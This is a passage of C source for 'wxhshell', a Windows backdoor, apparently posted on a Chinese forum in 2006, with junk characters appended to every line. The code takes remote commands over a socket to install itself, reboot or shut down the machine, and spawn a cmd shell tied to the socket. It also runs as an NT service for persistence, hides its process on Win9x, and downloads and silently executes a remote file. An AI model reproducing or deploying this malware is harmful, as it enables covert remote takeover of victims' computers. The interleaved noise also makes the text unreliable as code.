  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oaM 3#QJ  
  } 'XW9+jj)/  
  else { O <"\G!y~  
N:&EFfg3  
    switch(cmd[0]) { >\ x!a:}  
  a0 8Wt  
  // 帮助 \jHIjFwQ  
  case '?': { w)xfP^M#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i 3i  
    break; {6gY6X-R  
  } Ql{:H5  
  // 安装 h0;R*c  
  case 'i': { Hm 17El68  
    if(Install()) 0{ !+N6MiR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uxsi+vkI  
    else N 2$uw@s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %O\zYtQR  
    break; \??20iz  
    } ^/DP%^D  
  // 卸载 $Lt'xW`8  
  case 'r': { p{oc}dWin  
    if(Uninstall()) LV`tnt's  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4s7&*dJ  
    else b+e9Pi*\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); USJk *  
    break; ((mR' A|`  
    } O7# 8g$ZIv  
  // 显示 wxhshell 所在路径 ,V.Bzf%=O  
  case 'p': { =RjseTS  
    char svExeFile[MAX_PATH]; K%WG[p\Eu  
    strcpy(svExeFile,"\n\r"); Q ?R3aJ  
      strcat(svExeFile,ExeFile); V[ 'lB.&t  
        send(wsh,svExeFile,strlen(svExeFile),0); Y [%<s/  
    break;  } @4by<  
    } TWSx9ii!M:  
  // 重启 JbLHW26pl  
  case 'b': { i.0.oy>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ['Y"6[1  
    if(Boot(REBOOT)) kKz>]t"A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  r74' _y  
    else { :fA|J!^b[  
    closesocket(wsh); :'X:cL  
    ExitThread(0); Vi'zSR28Z  
    } Tga%-xr+  
    break; %ZM"c  
    } 1}ws@hU  
  // 关机 -xL^UcG0  
  case 'd': { |wGmu&fY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EClx+tz;`  
    if(Boot(SHUTDOWN)) ~UQX t r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LW!>_~g-  
    else { %abc -q  
    closesocket(wsh); v?(z4oOD/>  
    ExitThread(0); Ff&kK5} q  
    } >.&E-1[+:  
    break; XNQPyZ2@|b  
    } /|>?!;   
  // 获取shell 6d/1PGB  
  case 's': { IH3Nkpsg  
    CmdShell(wsh); BD?u|Fd,i:  
    closesocket(wsh); {wvBs87  
    ExitThread(0); N<^)tR8+  
    break; {iYrC m[_  
  } V-k x=M"k  
  // 退出 x,LY fy"0  
  case 'x': { !4+ FN)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n.OsmCRN;  
    CloseIt(wsh); 9NeHN@D)  
    break; Y@ X>ejk"  
    } )LTX.Kg  
  // 离开 o^v]d7I8b  
  case 'q': { Nj=0bg"Qg5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z^u*e  
    closesocket(wsh); /B)`pF.n  
    WSACleanup(); YT}ZLx  
    exit(1); ToM1#]4  
    break; g9@H4y6fe=  
        } pch8A0JAl)  
  } !p!^[/9"c  
  } rUh2[z8:  
k|`Qk!tr  
  // 提示信息 eL88lV]I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cy0j>-z  
} C2H2*"  
  } $;Z0CG  
.~X&BY>qP  
  return; KW(^-:wmr  
} [C{oj*"c]  
3L:SJskYR  
// shell模块句柄 1|:'jK#gE  
int CmdShell(SOCKET sock) /<1zzeHRSD  
{ +h@ZnFp3  
STARTUPINFO si; oc;4;A-;`c  
ZeroMemory(&si,sizeof(si)); 6'Q*SO;1gh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lQ&J2H<w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &Gs/#2XQ  
PROCESS_INFORMATION ProcessInfo; ~rlPS#]o  
char cmdline[]="cmd"; !GnwE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g[ N3jt@  
  return 0; TjicltQi4  
} X}g"_wN,g>  
z&yVU<;  
// 自身启动模式 2`J#)f|  
int StartFromService(void) ( 'Ha$O72  
{ *#83U?  
typedef struct 31cZ6[  
{ 2=7:6Fw  
  DWORD ExitStatus; VUC_|=?dL  
  DWORD PebBaseAddress; Yf_/c*t\5  
  DWORD AffinityMask; ,*8)aZ1 k  
  DWORD BasePriority; P"+R:O\!g  
  ULONG UniqueProcessId; XZT|ID_u"  
  ULONG InheritedFromUniqueProcessId; 9SXpZ*Sx  
}   PROCESS_BASIC_INFORMATION; 3hcWR'|  
SB,#y>Zv?  
PROCNTQSIP NtQueryInformationProcess; ce:wF#Qs  
>Se-5QtLcf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Kx02 2rgDU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /0b7"Kr  
N ;Cs? C  
  HANDLE             hProcess; +/ ?oyC+Z  
  PROCESS_BASIC_INFORMATION pbi; qtuT%?wT@Z  
kRV]`'u,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dF7`V J2  
  if(NULL == hInst ) return 0; W&HxMi  
(_AU)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z9w]{Zd_,d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NIHcX6Nw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U/ax`_  
pnUL+UYeM  
  if (!NtQueryInformationProcess) return 0; wLxuSs|  
.Hg{$SAC(w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g){gF(   
  if(!hProcess) return 0; -Gjz+cRns  
5t|$Yt[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LI>Bl  
<?%49  
  CloseHandle(hProcess); :XOjS[wBm  
%4})_h?j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KQ0f2?  
if(hProcess==NULL) return 0; udPLWrPF\  
pm2]  
HMODULE hMod; f8-~&N/_R  
char procName[255]; ,6ae='=d  
unsigned long cbNeeded; Fb ~h{  
9{0%M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c3WF!~1r  
i!eY"|o  
  CloseHandle(hProcess); &%tW  
oJ|m/i)  
if(strstr(procName,"services")) return 1; // 以服务启动 G=l:v  
xl Q]"sm1  
  return 0; // 注册表启动 t ?05  
} 5"bg 8hL  
[AYJ(H/  
// 主模块 &~'i,v|E  
int StartWxhshell(LPSTR lpCmdLine) j Q8 T  
{ y5XFJj  
  SOCKET wsl; ^4xl4nbx  
BOOL val=TRUE; U+aiH U9  
  int port=0; &{q<  
  struct sockaddr_in door; t"OP*  
_+Z5qUmQ  
  if(wscfg.ws_autoins) Install(); !wC( ]Y  
/T 2 v`Li  
port=atoi(lpCmdLine); ExF6y#Y G<  
h@J3+u<  
if(port<=0) port=wscfg.ws_port; eN`G2eE  
v1/Y0  
  WSADATA data; /#SH`ZK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1GPBqF  
aGAr24]y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r.c:QY$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;p87^:  
  door.sin_family = AF_INET; x6ayFq=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5Q:%f  
  door.sin_port = htons(port); &da:{  
'j!n   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]W5p\(1g  
closesocket(wsl); w|NId,#f  
return 1; 0QyL}y2  
} . BX*C  
TaF;P GjVw  
  if(listen(wsl,2) == INVALID_SOCKET) {  QB !%  
closesocket(wsl); <U8w#dc  
return 1; 2*] [M,L0c  
} a'd=szt  
  Wxhshell(wsl); iiWpm E<,  
  WSACleanup(); Tl#2w=  
6PC?*^v  
return 0; y1[@4TY]  
S,Q(,e^&  
} `fl$ o6S/  
3Bcv"O,B!{  
// 以NT服务方式启动 A`"?~_pHC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4YoQ*NQw-  
{ AUES;2WL  
DWORD   status = 0; oE2VJKs<B  
  DWORD   specificError = 0xfffffff; h8-uI.RZ  
}a#=c*+_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (Ffa{Tt!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wc\`2(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mHa~c(x  
  serviceStatus.dwWin32ExitCode     = 0; -$49l  
  serviceStatus.dwServiceSpecificExitCode = 0; "<f?.l\+  
  serviceStatus.dwCheckPoint       = 0; [+="I &  
  serviceStatus.dwWaitHint       = 0; [.w`r>kZI  
5Zmc3&vRl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TI\EkKu"  
  if (hServiceStatusHandle==0) return; \rE] V,,2  
U#<{RqY  
status = GetLastError(); ?mN!9/DIc  
  if (status!=NO_ERROR) yo%Nz"  
{ `?f<hIJoz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M1T.  
    serviceStatus.dwCheckPoint       = 0; m"6K_4r]  
    serviceStatus.dwWaitHint       = 0; 'I:_}q  
    serviceStatus.dwWin32ExitCode     = status; Bwu?DK  
    serviceStatus.dwServiceSpecificExitCode = specificError; IkxoW:L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `$FB[Z} &  
    return; DghqSL ^s  
  } P + C5 s  
Zv* uUe  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AYfe_Dj  
  serviceStatus.dwCheckPoint       = 0; n xR\tBv  
  serviceStatus.dwWaitHint       = 0; R<%{I)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^:,wk7  
} m=Mk@xfQ#  
y=jZ8+M   
// 处理NT服务事件,比如:启动、停止 RD;A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O^ 5C  
{ ;jO+<~YP!  
switch(fdwControl) zMM ~4?4  
{ "KSdC8MS  
case SERVICE_CONTROL_STOP: U??OiKVZ+  
  serviceStatus.dwWin32ExitCode = 0; `:jF%3ks+0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e)}=T0 s  
  serviceStatus.dwCheckPoint   = 0; zU!d(ge.E  
  serviceStatus.dwWaitHint     = 0; 7!)VO D8Z  
  { PYzTKjw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cr?ZXu_  
  } [xQ.qZ[h&  
  return; 9[lk=1.qN  
case SERVICE_CONTROL_PAUSE: pbIVj3-lY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &>R:oYN  
  break; Vr;>Im  
case SERVICE_CONTROL_CONTINUE: 3(gOF&Uf9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ed`7GZB  
  break; L$@+'Qn@:  
case SERVICE_CONTROL_INTERROGATE: )@!T_#  
  break; J3B+WD]  
}; 1]vDM&9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?_ v_*+b_  
} ; 7QG]JX  
rFUd  
// 标准应用程序主函数 madbl0[y.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |34w<0Pc,  
{ z46Sh&+  
} :gi<#-:G  
// 获取操作系统版本 [HQ/MkP-Z  
OsIsNt=GetOsVer(); }_H\ 75Iv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %?F$3YN,  
^+gD;a|t  
  // 从命令行安装 : #so"O  
  if(strpbrk(lpCmdLine,"iI")) Install(); `-K[$V  
NL2D,  
  // 下载执行文件 I|;C} lfp  
if(wscfg.ws_downexe) { W7{^/s5r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B|{E[]iK  
  WinExec(wscfg.ws_filenam,SW_HIDE); I1s$\NZ~]  
} lhf5[Rp  
l)'*jZ  
if(!OsIsNt) { sE!g!ht  
// 如果时win9x,隐藏进程并且设置为注册表启动 u yE#EnsH  
HideProc(); q-,`\ TS  
StartWxhshell(lpCmdLine); D=Yr/qc?  
} rV?@Kgxi  
else C)UU/4a;  
  if(StartFromService()) 0kw)-)=  
  // 以服务方式启动 6$zd2N?  
  StartServiceCtrlDispatcher(DispatchTable); Eb CK9  
else 8:0,jnS  
  // 普通方式启动 Der'45]*^  
  StartWxhshell(lpCmdLine); mX?t|:[b  
txQr|\4k  
return 0; B(O6qWsL  
}
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只看该作者 1 发表于: 2006-10-10
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